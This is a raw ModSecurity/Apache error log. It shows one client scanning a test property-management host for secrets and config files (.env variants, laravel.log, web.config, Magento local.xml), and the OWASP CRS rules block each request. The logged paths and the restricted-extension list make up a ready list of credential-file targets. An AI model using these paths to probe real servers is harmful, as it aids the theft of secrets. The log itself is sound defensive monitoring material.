[Sat May 10 15:41:03.404328 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RRQAAAAA&quot;]
[Sat May 10 15:41:03.404722 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RRQAAAAA&quot;]
[Sat May 10 15:41:03.404904 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RRQAAAAA&quot;]
[Sat May 10 15:41:03.529400 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RSgAAAAA&quot;]
[Sat May 10 15:41:03.529637 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RSgAAAAA&quot;]
[Sat May 10 15:41:03.529889 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RSgAAAAA&quot;]
[Sat May 10 15:41:03.552177 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RSwAAAAA&quot;]
[Sat May 10 15:41:03.552428 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RSwAAAAA&quot;]
[Sat May 10 15:41:03.552639 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RSwAAAAA&quot;]
[Sat May 10 15:41:03.575008 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTAAAAAA&quot;]
[Sat May 10 15:41:03.575252 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTAAAAAA&quot;]
[Sat May 10 15:41:03.575436 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTAAAAAA&quot;]
[Sat May 10 15:41:03.597771 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/logs/dev.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTQAAAAA&quot;]
[Sat May 10 15:41:03.598130 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/logs/dev.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTQAAAAA&quot;]
[Sat May 10 15:41:03.598360 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/logs/dev.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTQAAAAA&quot;]
[Sat May 10 15:41:03.620536 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/logs/prod.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTgAAAAA&quot;]
[Sat May 10 15:41:03.620893 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/logs/prod.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTgAAAAA&quot;]
[Sat May 10 15:41:03.621164 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/logs/prod.log&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RTgAAAAA&quot;]
[Sat May 10 15:41:03.713458 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RUgAAAAA&quot;]
[Sat May 10 15:41:03.713625 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RUgAAAAA&quot;]
[Sat May 10 15:41:03.713857 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RUgAAAAA&quot;]
[Sat May 10 15:41:03.714059 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aB9Xb30QE4ypGnyWNt4RUgAAAAA&quot;]
[Sat May 10 15:41:03.735940 2025] [authz_core:error] [pid 3059055] [client 154.83.103.111:56996] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Sat May 10 15:41:04.048003 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWAAAAAA&quot;]
[Sat May 10 15:41:04.048234 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWAAAAAA&quot;]
[Sat May 10 15:41:04.048409 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWAAAAAA&quot;]
[Sat May 10 15:41:04.094334 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/system.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWgAAAAA&quot;]
[Sat May 10 15:41:04.094665 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/system.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWgAAAAA&quot;]
[Sat May 10 15:41:04.094877 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/system.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWgAAAAA&quot;]
[Sat May 10 15:41:04.117144 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/var/log/exception.log&quot;] [unique_id &quot;aB9XcH0QE4ypGnyWNt4RWwAAAAA&quot;]
